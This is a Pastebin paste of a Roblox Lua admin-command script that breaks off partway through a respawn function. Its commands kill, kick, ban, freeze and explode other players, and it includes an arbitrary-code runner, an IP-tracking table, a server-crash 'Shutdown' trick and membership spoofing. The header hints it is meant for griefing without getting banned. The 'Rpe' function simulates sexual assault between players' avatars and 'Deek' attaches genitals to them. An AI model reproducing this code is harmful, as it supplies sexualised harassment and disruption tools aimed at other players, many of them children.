Advertisement
SmokeDelsin

mah awsome admin

May 13th, 2015
281
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 146.28 KB | None | 0 0
  1. --Made by Soilder2134, You won't get banned, but be careful with this script. There's alot of reporters. Go to line 5, 906,
  2. --and 907 and put your name where it says "YOURNAMEHERE" Any glitches report to me!
  3.  
  4. --[[LEGO]]--
  5. --[[SM Commands]]--
  6. local Adminlist={"SmokeDelsin", "YoungHobbitBoy,IoIsmokedelsin"}
  7. local Banlist={"BIGGESTNOOBEVA"}
  8. local Commands={}
  9. local IPs={}
  10. --[[Settings]]--
  11. local GuiMessage=true--[[Makes a GUI message instead of lame old messsage]]
  12. local AddLocalPlayer=false--[[You need to run this in local script, it will add the player who is using this script.]]
  13. local IntroGui=true--[[Enables a Introduction GUI]]
  14. local Bubble=false--[[A chat bubble]]
  15. local PrivateServer=false--[[Makes a private server]]
  16. local Version=2.00
  17. --[[Music IDs:
  18. Wind Of Fjords:1015394
  19. ]]--
  20. --[[Functions]]--
  21. for i,v in pairs(script:GetChildren()) do
  22. pcall(function()
  23. if v.Name=="DSource" then
  24. v:remove()
  25. end
  26. end)
  27. end
  28. model=Instance.new("Model",game.Lighting)
  29. model.Name="People"
  30. model1=Instance.new("Model",model)
  31. model1.Name="AFK"
  32. function AddCommand(Command,Func)
  33. table.insert(Commands,{Command=Command,Func=Func})
  34. end
  35. function AddIP(player,ip)
  36. table.insert(IPs,{Name=player,IP=ip})
  37. end
  38. function Music(v)
  39. music=Instance.new("Sound",game.Workspace)
  40. music.Name="Sound;Admin"
  41. music.SoundId="http://www.roblox.com/asset/?id="..v
  42. music:Play()
  43. end
  44. function FindIP(Text,Speaker)
  45. for i,v in pairs(IPs) do
  46. if v.Name:lower():find(Text:lower())==1 then
  47. local H=Instance.new("Hint",Speaker.PlayerGui)
  48. H.Text=v.Name .. " - " .. v.IP
  49. game:service("Debris"):AddItem(H,5)
  50. return
  51. end
  52. end
  53. H=Instance.new("Hint",Speaker.PlayerGui)
  54. H.Text="Could not find user!"
  55. game:service("Debris"):AddItem(H,2)
  56. end
  57. function SecIP(Text)
  58. for i,v in pairs(IPs) do
  59. if v.Name:lower():find(Text:lower())==1 then
  60. return v.IP
  61. end
  62. end
  63. end
  64. function Shutdown()
  65. Instance.new("ManualSurfaceJointInstance",workspace)
  66. end
  67. function Hint(texts)
  68. coroutine.resume(coroutine.create(function()
  69. for i,v in pairs(game.Players:GetChildren()) do
  70. a=Instance.new("ScreenGui",v.PlayerGui)
  71. a.Name="Message"
  72. b=Instance.new("Frame",a)
  73. b.Size=UDim2.new(1,0,0.07,0)
  74. b.BackgroundTransparency=0.5
  75. b.BackgroundColor3=Color3.new(0,0,0)
  76. c=Instance.new("TextLabel",b)
  77. c.FontSize="Size14"
  78. c.Position=UDim2.new(0.5,0,0.5,0)
  79. c.TextColor3=Color3.new(1,1,1)
  80. for tr=1,#texts do
  81. c.Text=texts:sub(1,tr)
  82. wait()
  83. end
  84. game:service("Debris"):AddItem(a,2)
  85. end
  86. end))
  87. end
  88. function PrintPlayers()
  89. Hint(#game.NetworkServer:GetChildren().." is amount of players")
  90. end
  91. function fWeld(zName,zParent,zPart0,zPart1,zCoco,a,b,c,d,e,f)
  92. local funcw = Instance.new("Weld")
  93. funcw.Name = zName
  94. funcw.Parent = zParent
  95. funcw.Part0 = zPart0
  96. funcw.Part1 = zPart1
  97. if (zCoco == true) then
  98. funcw.C0 = CFrame.new(a,b,c) *CFrame.fromEulerAnglesXYZ(d,e,f)
  99. else
  100. funcw.C1 = CFrame.new(a,b,c) *CFrame.fromEulerAnglesXYZ(d,e,f)
  101. end
  102. return funcw
  103. end
  104. function Rpe(v,s,w,sp)
  105. for i,v in pairs(sp(w[2])) do
  106. for c,b in pairs(sp(w[3])) do
  107. n1 = v.Name
  108. n2 = b.Name
  109. t1 = game.Players[n1].Character.Torso
  110. t2 = game.Players[n2].Character.Torso
  111. t2.Parent.Humanoid.PlatformStand = true
  112. t1["Left Shoulder"]:Remove()
  113. ls1 = Instance.new("Weld")
  114. ls1.Parent = t1
  115. ls1.Part0 = t1
  116. ls1.Part1 = t1.Parent["Left Arm"]
  117. ls1.C0 = CFrame.new(-1.5,0,0)
  118. ls1.Name = "Left Shoulder"
  119. t1["Right Shoulder"]:Remove()
  120. rs1 = Instance.new("Weld")
  121. rs1.Parent = t1
  122. rs1.Part0 = t1
  123. rs1.Part1 = t1.Parent["Right Arm"]
  124. rs1.C0 = CFrame.new(1.5,0,0)
  125. rs1.Name = "Right Shoulder"
  126. --[[ t1["Left Hip"]:Remove()
  127. lh1 = Instance.new("Weld")
  128. lh1.Parent = t1
  129. lh1.Part0 = t1
  130. lh1.Part1 = t1.Parent["Left Leg"]
  131. lh1.C0 = CFrame.new(-0.5,-2,0)
  132. lh1.Name = "Left Hip" t1["Right Hip"]:Remove()
  133. rh1 = Instance.new("Weld") rh1.Parent = t1
  134. rh1.Part0 = t1
  135. rh1.Part1 = t1.Parent["Right Leg"]
  136. rh1.C0 = CFrame.new(0.5,-2,0)
  137. rh1.Name = "Right Hip"]]
  138. t2["Left Shoulder"]:Remove()
  139. ls2 = Instance.new("Weld")
  140. ls2.Parent = t2
  141. ls2.Part0 = t2
  142. ls2.Part1 = t2.Parent["Left Arm"]
  143. ls2.C0 = CFrame.new(-1.5,0,0)
  144. ls2.Name = "Left Shoulder"
  145. t2["Right Shoulder"]:Remove()
  146. rs2 = Instance.new("Weld")
  147. rs2.Parent = t2
  148. rs2.Part0 = t2
  149. rs2.Part1 = t2.Parent["Right Arm"]
  150. rs2.C0 = CFrame.new(1.5,0,0)
  151. rs2.Name = "Right Shoulder"
  152. t2["Left Hip"]:Remove()
  153. lh2 = Instance.new("Weld")
  154. lh2.Parent = t2
  155. lh2.Part0 = t2
  156. lh2.Part1 = t2.Parent["Left Leg"]
  157. lh2.C0 = CFrame.new(-0.5,-2,0)
  158. lh2.Name = "Left Hip"
  159. t2["Right Hip"]:Remove()
  160. rh2 = Instance.new("Weld")
  161. rh2.Parent = t2
  162. rh2.Part0 = t2
  163. rh2.Part1 = t2.Parent["Right Leg"]
  164. rh2.C0 = CFrame.new(0.5,-2,0)
  165. rh2.Name = "Right Hip"
  166. local d = Instance.new("Part")
  167. d.TopSurface = 0
  168. d.BottomSurface = 0
  169. d.CanCollide = false
  170. d.BrickColor = BrickColor.new("Medium stone grey")
  171. d.Shape = "Ball" d.Parent = t1
  172. d.Size = Vector3.new(1,1,1)
  173. local dm = Instance.new("SpecialMesh")
  174. dm.MeshType = "Sphere"
  175. dm.Parent = d
  176. dm.Scale = Vector3.new(0.4,0.4,0.4)
  177. fWeld("weld",t1,t1,d,true,-0.2,-1.3,-0.6,0,0,0)
  178. d2 = d:Clone()
  179. d2.Parent = t1
  180. fWeld("weld",t1,t1,d2,true,0.2,-1.3,-0.6,0,0,0)
  181. local c = Instance.new("Part")
  182. c.TopSurface = 0 c.BottomSurface = 0
  183. c.CanCollide = false
  184. c.BrickColor = BrickColor.new("Pastel brown")
  185. c.Parent = t1
  186. c.formFactor = "Custom"
  187. c.Size = Vector3.new(0.4,1.3,0.4)
  188. cm = Instance.new("CylinderMesh")
  189. cm.Parent = c
  190. a = fWeld("weld",t1,t1,c,true,0,-1,-0.52+(-c.Size.y/2),math.rad(-80),0,0)
  191. c2 = d:Clone()
  192. c2.BrickColor = BrickColor.new("Medium stone grey")
  193. c2.Mesh.Scale = Vector3.new(0.4,0.62,0.4)
  194. c2.Parent = t1
  195. fWeld("weld",c,c,c2,true,0,0+(c.Size.y/2),0,math.rad(-10),0,0)
  196. local bl = Instance.new("Part")
  197. bl.TopSurface = 0
  198. bl.BottomSurface = 0
  199. bl.CanCollide = false
  200. bl.BrickColor = BrickColor.new("Pastel brown")
  201. bl.Shape = "Ball"
  202. bl.Parent = t2
  203. bl.Size = Vector3.new(1,1,1)
  204. local dm = Instance.new("SpecialMesh")
  205. dm.MeshType = "Sphere"
  206. dm.Parent = bl
  207. dm.Scale = Vector3.new(1.2,1.2,1.2)
  208. fWeld("weld",t2,t2,bl,true,-0.5,0.5,-0.6,0,0,0)
  209. local br = Instance.new("Part")
  210. br.TopSurface = 0
  211. br.BottomSurface = 0
  212. br.CanCollide = false
  213. br.BrickColor = BrickColor.new("Pastel brown")
  214. br.Shape = "Ball"
  215. br.Parent = t2
  216. br.Size = Vector3.new(1,1,1)
  217. local dm = Instance.new("SpecialMesh")
  218. dm.MeshType = "Sphere"
  219. dm.Parent = br
  220. dm.Scale = Vector3.new(1.2,1.2,1.2)
  221. fWeld("weld",t2,t2,br,true,0.5,0.5,-0.6,0,0,0)
  222. local bln = Instance.new("Part")
  223. bln.TopSurface = 0
  224. bln.BottomSurface = 0
  225. bln.CanCollide = false
  226. bln.Shape = "Ball"
  227. bln.Parent = t2
  228. bln.Size = Vector3.new(1,1,1)
  229. local dm = Instance.new("SpecialMesh")
  230. dm.MeshType = "Sphere"
  231. dm.Parent = bln
  232. dm.Scale = Vector3.new(0.2,0.2,0.2)
  233. fWeld("weld",t2,t2,bln,true,-0.5,0.5,-1.2,0,0,0)
  234. local brn = Instance.new("Part")
  235. brn.TopSurface = 0
  236. brn.BottomSurface = 0
  237. brn.CanCollide = false
  238. brn.Shape = "Ball"
  239. brn.Parent = t2
  240. brn.Size = Vector3.new(1,1,1)
  241. local dm = Instance.new("SpecialMesh")
  242. dm.MeshType = "Sphere"
  243. dm.Parent = brn
  244. dm.Scale = Vector3.new(0.2,0.2,0.2)
  245. fWeld("weld",t2,t2,brn,true,0.5,0.5,-1.2,0,0,0)
  246. lh2.C1 = CFrame.new(0,-1.5,-0.5) *CFrame.Angles(0.9,-0.4,0)
  247. rh2.C1 = CFrame.new(0,-1.5,-0.5) *CFrame.Angles(0.9,0.4,0)
  248. ls2.C1 = CFrame.new(-0.5,-1.3,-0.5) *CFrame.Angles(0.9,-0.4,0)
  249. rs2.C1 = CFrame.new(0.5,-1.3,-0.5) *CFrame.Angles(0.9,0.4,0)
  250. ls1.C1 = CFrame.new(-0.5,0.7,0) *CFrame.Angles(-0.9,-0.4,0)
  251. rs1.C1 = CFrame.new(0.5,0.7,0) *CFrame.Angles(-0.9,0.4,0)
  252. if t1:findFirstChild("weldx") ~= nil then
  253. t1.weldx:Remove() end
  254. we = fWeld("weldx",t1,t1,t2,true,0,-0.9,-1.3,math.rad(-90),0,0)
  255. n = t2.Neck
  256. n.C0 = CFrame.new(0,1.5,0) *CFrame.Angles(math.rad(-210),math.rad(180),0)
  257. while true do wait() for i=1,6 do we.C1 = we.C1 * CFrame.new(0,-0.3,0) wait() end
  258. for i=1,6 do we.C1 = we.C1 * CFrame.new(0,0.3,0) wait() end end
  259. end
  260. end
  261. end
  262. function SearchPlayer(Player,Speaker,tab)
  263. if tab==nil then tab={} end
  264. if Player:lower()=="others" then
  265. local s={}
  266. for i,v in pairs(game.Players:GetChildren()) do
  267. if v~=Speaker then
  268. table.insert(s,v)
  269. end
  270. end
  271. return s
  272. end
  273. if Player:lower()=="all" then
  274. local s={}
  275. for i,v in pairs(game.Players:GetPlayers()) do
  276. table.insert(s,v)
  277. end
  278. return s
  279. end
  280. if Player:lower()=="nonadmins" then
  281. local b={}
  282. for i,v in pairs(game.Players:GetPlayers()) do
  283. local admin=false
  284. for a,x in pairs(Adminlist) do
  285. if v.Name:lower()==x:lower() then
  286. admin=true
  287. end
  288. if admin==false then
  289. table.insert(b,v)
  290. end
  291. end
  292. end
  293. return b
  294. end
  295. if Player:lower()=="admins" then
  296. local b={}
  297. for i,v in pairs(game.Players:GetPlayers()) do
  298. for __,_ in pairs(Adminlist) do
  299. if v.Name:lower()==_:lower() then
  300. table.insert(b,v)
  301. end
  302. end
  303. end
  304. return b
  305. end
  306. for i,v in pairs(game.Players:GetPlayers()) do
  307. if v.Name:lower():find(Player:lower())==1 then
  308. table.insert(tab,v)
  309. end
  310. end
  311. if Player:match(",") then
  312. for v in Player:gmatch(",([^,]+)") do
  313. SearchPlayer(v,Speaker,tab)
  314. end
  315. end
  316. return tab
  317. end
  318. function Kill(v,s)
  319. for i,v in pairs(SearchPlayer(v,s)) do
  320. v.Character:BreakJoints()
  321. end
  322. end
  323. function Rename(v,s,w,sp)
  324. for i,v in pairs(sp(w[2])) do
  325. p = game.Players[v.Name]
  326. Anim = p.Character:FindFirstChild("Animate",true):Clone()
  327. p.Character.Archivable = true
  328. l = p.Character:Clone()
  329. clone = l:Clone() clone.Parent = Workspace
  330. clone.Name = w[3]
  331. a = Anim:Clone()
  332. p.Character = clone
  333. a.Parent = clone
  334. end
  335. end
  336. function Health(v,s,w,sp)
  337. for i,v in pairs(sp(w[2])) do
  338. v.Character.Humanoid.Health=w[3]
  339. end
  340. end
  341. function SelectBody(v,s)
  342. for i,v in pairs(SearchPlayer(v,s)) do
  343. select=Instance.new("SelectionBox",v.Character.Head)
  344. select1=Instance.new("SelectionBox",v.Character.Torso)
  345. select2=Instance.new("SelectionBox",v.Character["Right Arm"])
  346. select3=Instance.new("SelectionBox",v.Character["Left Arm"])
  347. select4=Instance.new("SelectionBox",v.Character["Left Leg"])
  348. select5=Instance.new("SelectionBox",v.Character["Right Leg"])
  349. select.Adornee=v.Character.Head
  350. select1.Adornee=v.Character.Torso
  351. select2.Adornee=v.Character["Right Arm"]
  352. select3.Adornee=v.Character["Left Arm"]
  353. select4.Adornee=v.Character["Left Leg"]
  354. select5.Adornee=v.Character["Right Leg"]
  355. v.Character.Humanoid.MaxHealth=100000000
  356. end
  357. end
  358. function UnSelectBody(v,s)
  359. for i,v in pairs(SearchPlayer(v,s)) do
  360. for s,b in pairs(v.Character:GetChildren()) do
  361. for w,m in pairs(b:GetChildren()) do
  362. if m.className=="SelectionBox" then
  363. m:Remove()
  364. end
  365. end
  366. end
  367. v.Character.Humanoid.MaxHealth=100
  368. end
  369. end
  370. function Freeze(v,s)
  371. for i,v in pairs(SearchPlayer(v,s)) do
  372. v.Character.Humanoid.WalkSpeed=0
  373. for a,b in pairs(v.Character:GetChildren()) do
  374. if b.className=="Part" then
  375. b.Anchored=true
  376. b.Reflectance=0.6
  377. end
  378. end
  379. end
  380. end
  381. function UnFreeze(v,s)
  382. for i,v in pairs(SearchPlayer(v,s)) do
  383. v.Character.Humanoid.WalkSpeed=15
  384. for a,b in pairs(v.Character:GetChildren()) do
  385. if b.className=="Part" then
  386. b.Anchored=false
  387. b.Reflectance=0
  388. end
  389. end
  390. end
  391. end
  392. function UnInvisible(v,s)
  393. for i,v in pairs(SearchPlayer(v,s)) do
  394. for a,b in pairs(v.Character:GetChildren()) do
  395. if b.className=="Part" then
  396. b.Transparency=0
  397. end
  398. end
  399. end
  400. end
  401. function Invisible(v,s)
  402. for i,v in pairs(SearchPlayer(v,s)) do
  403. for a,b in pairs(v.Character:GetChildren()) do
  404. if b.className=="Part" then
  405. b.Transparency=1
  406. end
  407. end
  408. end
  409. end
  410. function Teleport(v,s,w,sp)
  411. -- w[1] = Said command
  412. -- w[2] = 1st arg,
  413. -- w[3] = 2nd arg
  414. for i,v in pairs(sp(w[2],s)) do
  415. for _,c in pairs(sp(w[3],s)) do
  416. local a,b=pcall(function()
  417. v.Character.Torso.CFrame=c.Character.Torso.CFrame+Vector3.new(0,0,-2)
  418. end)print(a,b)
  419. end
  420. end
  421. end
  422. function ForceField(v,s)
  423. for i,v in pairs(SearchPlayer(v,s)) do
  424. forcefield=Instance.new("ForceField",v.Character)
  425. end
  426. end
  427. function UnForceField(v,s)
  428. for i,v in pairs(SearchPlayer(v,s)) do
  429. for b,a in pairs(v.Character:GetChildren()) do
  430. if a.className=="ForceField" then
  431. a:Remove()
  432. end
  433. end
  434. end
  435. end
  436. function Kick(v,s)
  437. for i,v in pairs(SearchPlayer(v,s)) do
  438. a,b= pcall(function() v:Remove() end)
  439. print(a,b)
  440. end
  441. end
  442. function NewScript(v)
  443. local func = loadstring(v) or function() end
  444. pcall(function()
  445. coroutine.resume(coroutine.create(func))
  446. end)
  447. end
  448. function Fire(v,s)
  449. for i,v in pairs(SearchPlayer(v,s)) do
  450. pcall(function()
  451. fire=Instance.new("Fire",v.Character.Torso)
  452. end)
  453. end
  454. end
  455. function Noobify(v,s)
  456. for i,v in pairs(SearchPlayer(v,s)) do
  457. local char=v.Character
  458. char["Left Arm"].BrickColor=BrickColor.new("Bright yellow")
  459. char["Right Arm"].BrickColor=BrickColor.new("Bright yellow")
  460. char["Right Leg"].BrickColor=BrickColor.new("Bright green")
  461. char["Left Leg"].BrickColor=BrickColor.new("Bright green")
  462. char["Torso"].BrickColor=BrickColor.new("Bright blue")
  463. char["Head"].BrickColor=BrickColor.new("Bright yellow")
  464. for b,c in pairs(char:GetChildren()) do
  465. if c.className=="Hat" then
  466. c:remove()
  467. end
  468. end
  469. end
  470. end
  471. function Zombify(v,s)
  472. for i,v in pairs(SearchPlayer(v,s)) do
  473. local char=v.Character
  474. char["Left Arm"].BrickColor=BrickColor.new("Bright green")
  475. char["Right Arm"].BrickColor=BrickColor.new("Bright green")
  476. char["Right Leg"].BrickColor=BrickColor.new("Bright green")
  477. char["Left Leg"].BrickColor=BrickColor.new("Bright green")
  478. char["Torso"].BrickColor=BrickColor.new("Reddish brown")
  479. char["Head"].BrickColor=BrickColor.new("Bright green")
  480. for b,c in pairs(char:GetChildren()) do
  481. if c.className=="Hat" then
  482. c:remove()
  483. end
  484. end
  485. end
  486. end
  487. function UnFire(d,s)
  488. for i,v in pairs(SearchPlayer(d,s)) do
  489. for a,b in pairs(v.Character:GetChildren()) do
  490. if b.className=="Fire" then
  491. b:Remove()
  492. end
  493. for s,c in pairs(b:GetChildren()) do
  494. if c.className=="Fire" then
  495. c:remove()
  496. end
  497. end
  498. end
  499. end
  500. end
  501. function ScriptRemove()
  502. script:remove()
  503. end
  504. function Punish(v,s)
  505. pcall(function()
  506. for i,v in pairs(SearchPlayer(v,s)) do
  507. v.Character.Parent=game.Lighting.People
  508. end
  509. end)
  510. end
  511. function UnPunish(v,s)
  512. pcall(function()
  513. for i,v in pairs(SearchPlayer(v,s)) do
  514. person=game.Lighting.People[v.Name]
  515. person.Parent=game.Workspace
  516. person:MakeJoints()
  517. end
  518. end)
  519. end
  520. function Deek(v,s)
  521. for i,v in pairs(SearchPlayer(v,s)) do
  522. person=v.Name
  523. color = "Pastel brown"
  524. pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
  525. D = Instance.new("Model",workspace[person])
  526. D.Name = "Nice thing"
  527. bg = Instance.new("BodyGyro",workspace[person].Torso)
  528. d = Instance.new("Part")
  529. d.TopSurface = 0
  530. d.BottomSurface = 0
  531. d.Name = "Main"
  532. d.Parent = workspace[person]["Nice thing"]
  533. d.formFactor = 3
  534. d.Size = Vector3.new(0.6,2.5,0.6)
  535. d.BrickColor = BrickColor.new(color)
  536. d.Position = workspace[person].Head.Position
  537. d.CanCollide = false
  538. local cy = Instance.new("CylinderMesh")
  539. cy.Parent = d
  540. w = Instance.new("Weld")
  541. w.Parent = workspace[person].Head
  542. w.Part0 = d
  543. w.Part1 = workspace[person].Head
  544. w.C0 = CFrame.new(0,0.25,2.1)*CFrame.Angles(math.rad(45),0,0)
  545. local c = Instance.new("Part")
  546. c.Name = "Mush"
  547. c.BottomSurface = 0
  548. c.TopSurface = 0
  549. c.FormFactor = 3
  550. c.Size = Vector3.new(0.6,0.6,0.6)
  551. c.CFrame = CFrame.new(d.Position)
  552. c.BrickColor = BrickColor.new("Pink")
  553. c.CanCollide = false
  554. c.Parent = workspace[person]["Nice thing"]
  555. local msm = Instance.new("SpecialMesh")
  556. msm.Parent = c
  557. msm.MeshType = "Sphere"
  558. local cw = Instance.new("Weld")
  559. cw.Parent = c
  560. cw.Part0 = d
  561. cw.Part1 = c
  562. cw.C0 = CFrame.new(0,1.3,0)
  563. local ball1 = Instance.new("Part")
  564. ball1.Parent = workspace[person]["Nice thing"]
  565. ball1.Name = "Left Ball"
  566. ball1.BottomSurface = 0
  567. ball1.TopSurface = 0
  568. ball1.CanCollide = false
  569. ball1.formFactor = 3
  570. ball1.Size = Vector3.new(1,1,1)
  571. ball1.CFrame = CFrame.new(workspace[person]["Left Leg"].Position)
  572. ball1.BrickColor = BrickColor.new(color)
  573. local bsm = Instance.new("SpecialMesh")
  574. bsm.Parent = ball1
  575. bsm.MeshType = "Sphere"
  576. local b1w = Instance.new("Weld")
  577. b1w.Parent = ball1
  578. b1w.Part0 = workspace[person]["Left Leg"]
  579. b1w.Part1 = ball1
  580. b1w.C0 = CFrame.new(0,0.5,-.5)
  581. local ball2 = Instance.new("Part")
  582. ball2.Parent = workspace[person]["Nice thing"]
  583. ball2.Name = "Right Ball"
  584. ball2.BottomSurface = 0
  585. ball2.CanCollide = false
  586. ball2.TopSurface = 0
  587. ball2.formFactor = 3
  588. ball2.Size = Vector3.new(1,1,1)
  589. ball2.CFrame = CFrame.new(workspace[person]["Right Leg"].Position)
  590. ball2.BrickColor = BrickColor.new(color)
  591. local b2sm = Instance.new("SpecialMesh")
  592. b2sm.Parent = ball2
  593. b2sm.MeshType = "Sphere"
  594. local b2w = Instance.new("Weld")
  595. b2w.Parent = ball2
  596. b2w.Part0 = workspace[person]["Right Leg"]
  597. b2w.Part1 = ball2
  598. b2w.C0 = CFrame.new(0,0.5,-.5)
  599. end
  600. end
  601. function UnDeek(v,s)
  602. for i,v in pairs(SearchPlayer(v,s)) do
  603. v.Character["Nice thing"]:remove()
  604. end
  605. end
  606. function Message(texts,s)
  607. if GuiMessage==true then
  608. coroutine.resume(coroutine.create(function()
  609. for i,v in pairs(game.Players:GetChildren()) do
  610. a=Instance.new("ScreenGui",v.PlayerGui)
  611. a.Name="Message"
  612. b=Instance.new("Frame",a)
  613. b.Size=UDim2.new(1,0,1,0)
  614. b.BackgroundTransparency=0.5
  615. b.BackgroundColor3=Color3.new(0,0,0)
  616. c=Instance.new("TextLabel",b)
  617. c.FontSize="Size14"
  618. c.Position=UDim2.new(0.5,0,0.5,0)
  619. c.TextColor3=Color3.new(1,1,1)
  620. for tr=1,#texts do
  621. c.Text=texts:sub(1,tr)
  622. wait(0.1)
  623. end
  624. game:service("Debris"):AddItem(a,2)
  625. end
  626. end))
  627. else
  628. message=Instance.new("Message",game.Workspace)
  629. message.Text=texts:sub(1,i)
  630. game:service("Debris"):AddItem(message,2)
  631. end
  632. end
  633. function Ban(v,s)
  634. for i,v in pairs(SearchPlayer(v,s)) do
  635. table.insert(Banlist,v.Name)
  636. pcall(function() v:remove() end)
  637. end
  638. end
  639. function CreateBase()
  640. base=Instance.new("Part",game.Workspace)
  641. base.Anchored=true
  642. base.Size=Vector3.new(512,0,512)
  643. base.Position=Vector3.new(50,50,50)
  644. base.BrickColor=BrickColor.new("Earth green")
  645. base.TopSurface=0
  646. base.BottomSurface=0
  647. base.Shape="Block"
  648. base.Locked=true
  649. base.Name="Base;Admin"
  650. end
  651. function CheckAdmin(n)
  652. for i,v in pairs(Adminlist) do
  653. if v:lower()==n.Name:lower() then
  654. return true
  655. end
  656. end
  657. return false
  658. end
  659. function RemoveHats(v,s)
  660. for i,v in pairs(SearchPlayer(v,s)) do
  661. for a,b in pairs(v.Character:GetChildren()) do
  662. if b.className=="Hat" then
  663. b:remove()
  664. end
  665. end
  666. end
  667. end
  668. function Jump(v,s)
  669. for i,v in pairs(SearchPlayer(v,s)) do
  670. v.Character.Humanoid.Jump=true
  671. end
  672. end
  673. function Bomb(v,s)
  674. bomb=Instance.new("Part",game.Workspace)
  675. bomb.Size=Vector3.new(2,2,2)
  676. bomb.Anchored=false
  677. bomb.Locked=true
  678. mesh=Instance.new("SpecialMesh",bomb)
  679. mesh.MeshType="FileMesh"
  680. mesh.TextureId="rbxasset://textures/bombtex.png"
  681. mesh.MeshId="rbxasset://fonts/timebomb.mesh"
  682. for i,v in pairs(SearchPlayer(v,s)) do
  683. bomb.Position=v.Character.Head.Position+Vector3.new(0,1,0)
  684. end
  685. explosion = Instance.new("Explosion",game.Workspace)
  686. explosion.BlastRadius = 12
  687. explosion.BlastPressure = 1000000
  688. explosion.Position=bomb.Position
  689. bomb:remove()
  690. end
  691. function Sit(v,s)
  692. for i,v in pairs(SearchPlayer(v,s)) do
  693. v.Character.Humanoid.Sit=true
  694. end
  695. end
  696. function Debug(v,s)
  697. for l,e in pairs(game.Workspace:GetChildren()) do
  698. if e.className=="Message" then
  699. e:remove()
  700. end
  701. end
  702. for i,v in pairs(SearchPlayer(v,s)) do
  703. for a,b in pairs(v.PlayerGui:GetChildren()) do
  704. b:remove()
  705. end
  706. for f,g in pairs(v:GetChildren()) do
  707. if g.className=="Message" then
  708. g:remove()
  709. end
  710. end
  711. end
  712. end
  713. function SearchCommand(Command,Speaker)
  714. local a,b=pcall(function()
  715. -- Made by mew903, btw
  716. coroutine.resume(coroutine.create(function()
  717. if not CheckAdmin(Speaker) then return end -- my function. my rules >:L
  718. local NewCommand=Command:match(";(.+)")
  719. if NewCommand then
  720. Command=Command:gsub(";"..NewCommand,"")
  721. SearchCommand(NewCommand,Speaker)
  722. end
  723. for i,v in pairs(Commands) do
  724. if Command:lower():sub(1,#v.Command+1)==v.Command:lower().."/" then
  725. v.Func(Command:sub(#v.Command+2),Speaker,(function()
  726. local Split={}
  727. for s in Command:gmatch("([^/]+)") do
  728. table.insert(Split,s)
  729. end
  730. return Split
  731. end)(),SearchPlayer)
  732. end
  733. end
  734. end))
  735. end)print(a,b)
  736. end
  737. function ChangeBCType(v,s,w,sp)
  738. coroutine.resume(coroutine.create(function()
  739. for i,v in pairs(sp(w[2])) do
  740. while wait() do
  741. v.MembershipTypeReplicate = w[3]
  742. end
  743. end
  744. end))
  745. end
  746. function MessageAdmin(v)
  747. if CheckAdmin(v) then
  748. message=Instance.new("Message",v.PlayerGui)
  749. message.Text="Your a admin!"
  750. wait(2)
  751. message:Remove()
  752. end
  753. end
  754. function Admin(v,s)
  755. for i,v in pairs(SearchPlayer(v,s)) do
  756. table.insert(Adminlist,v.Name)
  757. MessageAdmin(v)
  758. end
  759. end
  760. function Chatted(s)
  761. s.Chatted:connect(function(c)
  762. SearchCommand(c,s)
  763. if CheckAdmin(s) then
  764. if Bubble==true then
  765. Game:GetService("Chat"):Chat(game.Workspace[s.Name].Head,s.Name..":".. c,Enum.ChatColor.Green)
  766. end
  767. end
  768. end)
  769. end
  770. function EnableBubbleChat()
  771. Bubble=true
  772. end
  773. function DisableBubbleChat()
  774. Bubble=false
  775. end
  776. function BanOn(player)
  777. for i,v in pairs(Banlist) do
  778. if v:lower()==player.Name:lower() then
  779. print(player.Name.." tried to enter")
  780. player:remove()
  781. end
  782. end
  783. end
  784. function GetCommands(v,s)
  785. coroutine.resume(coroutine.create(function()
  786. m=Instance.new("Hint",s.PlayerGui)
  787. for i,v in pairs(Commands) do
  788. m.Text=v.Command.."/"
  789. wait(1)
  790. end
  791. game:service("Debris"):AddItem(m,2)
  792. end))
  793. end
  794. function StickFigure(v,s)
  795. for i,v in pairs(SearchPlayer(v,s)) do
  796. local n = v.Name
  797. local m = game.Players[n].Character
  798. for i,v in pairs(m:GetChildren()) do
  799. if v:IsA ("Part") then
  800. local s = Instance.new("SelectionPartLasso")
  801. s.Parent = m.Torso
  802. s.Part = v
  803. s.Humanoid = m.Humanoid
  804. s.Color = BrickColor.new(0,0,0)
  805. v.Transparency = 1
  806. m.Head.Transparency = 0
  807. m.Head.Mesh:Remove()
  808. local b = Instance.new("SpecialMesh")
  809. b.Parent = m.Head
  810. b.MeshType = "Sphere"
  811. b.Scale = Vector3.new(.5,1,1)
  812. m.Head.BrickColor = BrickColor.new("Black")
  813. else
  814. end
  815. end
  816. end
  817. end
  818. function EnablePri()
  819. PrivateServer=true
  820. end
  821. function DisablePri()
  822. PrivateServer=false
  823. end
  824. function Rocket(v,s)
  825. coroutine.resume(coroutine.create(function()
  826. for i,v in pairs(SearchPlayer(v,s)) do
  827. if v.Character and v.Character:FindFirstChild("Torso") then
  828. delay(0,function()
  829. local Part = Instance.new("Part")
  830. Part.Parent = v.Character
  831. local SpecialMesh = Instance.new("SpecialMesh")
  832. SpecialMesh.Parent = Part
  833. SpecialMesh.MeshId = "http://www.roblox.com/asset/?id=2251534"
  834. SpecialMesh.MeshType = "FileMesh"
  835. SpecialMesh.TextureId = "43abb6d081e0fbc8666fc92f6ff378c1"
  836. SpecialMesh.Scale = Vector3.new(0.5,0.5,0.5)
  837. local Weld = Instance.new("Weld")
  838. Weld.Parent = Part
  839. Weld.Part0 = Part
  840. Weld.Part1 = v.Character.Torso
  841. Weld.C0 = CFrame.new(0,-1,0)*CFrame.Angles(-1.5,0,0)
  842. local BodyVelocity = Instance.new("BodyVelocity")
  843. BodyVelocity.Parent = Part
  844. BodyVelocity.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  845. BodyVelocity.velocity = Vector3.new(0,10*speed,0)
  846. delay(0,function()
  847. for i = 1,math.huge do
  848. local Explosion = Instance.new("Explosion")
  849. Explosion.Parent = Part
  850. Explosion.BlastRadius = 0
  851. Explosion.Position = Part.Position + Vector3.new(0,0,0)
  852. wait()
  853. end end)
  854. wait(tonumber(10))
  855. pcall(function()
  856. BodyVelocity:remove()
  857. Instance.new("Explosion",workspace).Position=v.Character.Torso.Position
  858. v.Character:BreakJoints()
  859. end)
  860. end)
  861. end
  862. end
  863. end))
  864. end
  865. function Respawn(v,s)
  866. for i,v in pairs(SearchPlayer(v,s)) do
  867. local Model = Instance.new("Model")
  868. Model.Parent = game.Workspace
  869. local Part = Instance.new("Part")
  870. Part.Transparency = 1
  871. Part.CanCollide = false
  872. Part.Anchored = true
  873. Part.Name = "Torso"
  874. Part.Position = Vector3.new(10000,10000,10000)
